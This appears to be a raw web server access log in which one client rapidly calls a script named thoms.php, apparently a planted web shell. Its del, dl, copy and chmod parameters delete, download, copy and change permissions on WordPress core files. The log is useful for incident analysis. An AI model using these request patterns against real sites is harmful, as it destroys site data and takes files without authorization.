45.135.193.11 - - [11/Sep/2026:23:19:04 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=version.php HTTP/1.1" 200 12362 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=version.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:04 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fsitemaps&p= HTTP/1.1" 200 12285 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fsitemaps&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:03 -0400] "GET /thoms.php?del=post.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=post.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:04 -0400] "GET /thoms.php?dl=ms-blogs.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59339 "http://163.245.207.76:443/thoms.php?dl=ms-blogs.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:04 -0400] "GET /thoms.php?del=ms-default-filters.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59350 "http://163.245.207.76:443/thoms.php?del=ms-default-filters.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:04 -0400] "GET /thoms.php?del=ms-site.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59325 "http://163.245.207.76:443/thoms.php?del=ms-site.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:04 -0400] "GET /thoms.php?del=template-loader.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=template-loader.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:05 -0400] "GET /bestzyx.com.tw/wp-includes/class-walker-category-dropdown.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:05 -0400] "GET /bestzyx.com.tw/wp-includes/SimplePie/ HTTP/1.1" 200 871 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:05 -0400] "GET /thoms.php?chmod=class-wp-http-proxy.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-proxy.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:05 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class.wp-dependencies.php HTTP/1.1" 200 12102 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class.wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:05 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-http.php HTTP/1.1" 200 12120 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:05 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fgeneral-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fgeneral-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:05 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fms-blogs.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fms-blogs.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:05 -0400] "GET /thoms.php?del=class-wp-script-modules.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59339 "http://163.245.207.76:443/thoms.php?del=class-wp-script-modules.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:05 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-phpmailer.php HTTP/1.1" 200 12189 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:05 -0400] "GET /thoms.php?del=script-loader.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59341 "http://163.245.207.76:443/thoms.php?del=script-loader.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:05 -0400] "GET /thoms.php?del=html-api&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=html-api&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:06 -0400] "GET /thoms.php?del=class-wp-admin-bar.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59313 "http://163.245.207.76:443/thoms.php?del=class-wp-admin-bar.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:06 -0400] "GET /thoms.php?del=class-wp-block-processor.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59303 "http://163.245.207.76:443/thoms.php?del=class-wp-block-processor.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:06 -0400] "GET /thoms.php?del=class-wp-embed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59359 "http://163.245.207.76:443/thoms.php?del=class-wp-embed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:06 -0400] "GET /thoms.php?dl=class-wp-http-response.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-response.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:06 -0400] "GET /thoms.php?chmod=class-wp-locale.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:07 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-plugin-dependencies.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-plugin-dependencies.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:07 -0400] "GET /thoms.php?chmod=block-patterns.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=block-patterns.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:07 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-theme-json.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:07 -0400] "GET /thoms.php?chmod=class-wp-image-editor-imagick.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-imagick.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:07 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass.wp-styles.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass.wp-styles.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:07 -0400] "GET /thoms.php?chmod=https-migration.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=https-migration.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:07 -0400] "GET /thoms.php?dl=class-phpmailer.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-phpmailer.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:07 -0400] "GET /thoms.php?dl=class-wp-textdomain-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-textdomain-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:07 -0400] "GET /thoms.php?chmod=json-schema.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=json-schema.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:07 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fstyle-engine HTTP/1.1" 200 13478 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fstyle-engine" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:07 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fadmin-bar.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fadmin-bar.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:08 -0400] "GET /bestzyx.com.tw/wp-includes/error-protection.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:08 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-pop3.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-pop3.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:08 -0400] "GET /thoms.php?chmod=link-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=link-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:08 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=post-template.php HTTP/1.1" 200 33175 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=post-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:08 -0400] "GET /thoms.php?dl=block-i18n.json&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=block-i18n.json&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:08 -0400] "GET /thoms.php?del=class-wp-xmlrpc-server.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-wp-xmlrpc-server.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:08 -0400] "GET /thoms.php?chmod=pluggable.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=pluggable.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:08 -0400] "GET /thoms.php?chmod=widgets.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=widgets.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:08 -0400] "GET /thoms.php?dl=taxonomy.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?dl=taxonomy.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:08 -0400] "GET /thoms.php?chmod=post.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:08 -0400] "GET /thoms.php?del=ms-files.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=ms-files.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:08 -0400] "GET /thoms.php?del=class-wp-http-encoding.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-http-encoding.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:09 -0400] "GET /thoms.php?chmod=template-canvas.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=template-canvas.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:09 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-application-passwords.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:09 -0400] "GET /bestzyx.com.tw/wp-includes/fonts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:09 -0400] "GET /thoms.php?del=query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59363 "http://163.245.207.76:443/thoms.php?del=query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:09 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-patterns-registry.php HTTP/1.1" 200 14957 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-patterns-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:09 -0400] "GET /thoms.php?dl=class-wp-block-type.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59317 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:09 -0400] "GET /thoms.php?dl=option.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59319 "http://163.245.207.76:443/thoms.php?dl=option.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:10 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-network.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:09 -0400] "GET /thoms.php?del=sodium_compat&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59319 "http://163.245.207.76:443/thoms.php?del=sodium_compat&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:09 -0400] "GET /thoms.php?del=class-simplepie.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-simplepie.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:10 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:10 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-term-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-term-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:10 -0400] "GET /bestzyx.com.tw/wp-includes/compat-utf8.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:10 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11900 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:10 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-widget-factory.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-widget-factory.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:10 -0400] "GET /thoms.php?chmod=class-requests.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-requests.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:10 -0400] "GET /thoms.php?chmod=class-wp-admin-bar.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=class-wp-admin-bar.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-error.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-error.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:10 -0400] "GET /thoms.php?dl=class-wp-block-processor.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59322 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-processor.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:11 -0400] "GET /thoms.php?chmod=registration-functions.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=registration-functions.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:11 -0400] "GET /thoms.php?del=class-wp-customize-setting.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59321 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-setting.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:11 -0400] "GET /bestzyx.com.tw/wp-includes/block-i18n.json HTTP/1.1" 200 149 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:11 -0400] "GET /thoms.php?dl=https-detection.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59322 "http://163.245.207.76:443/thoms.php?dl=https-detection.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
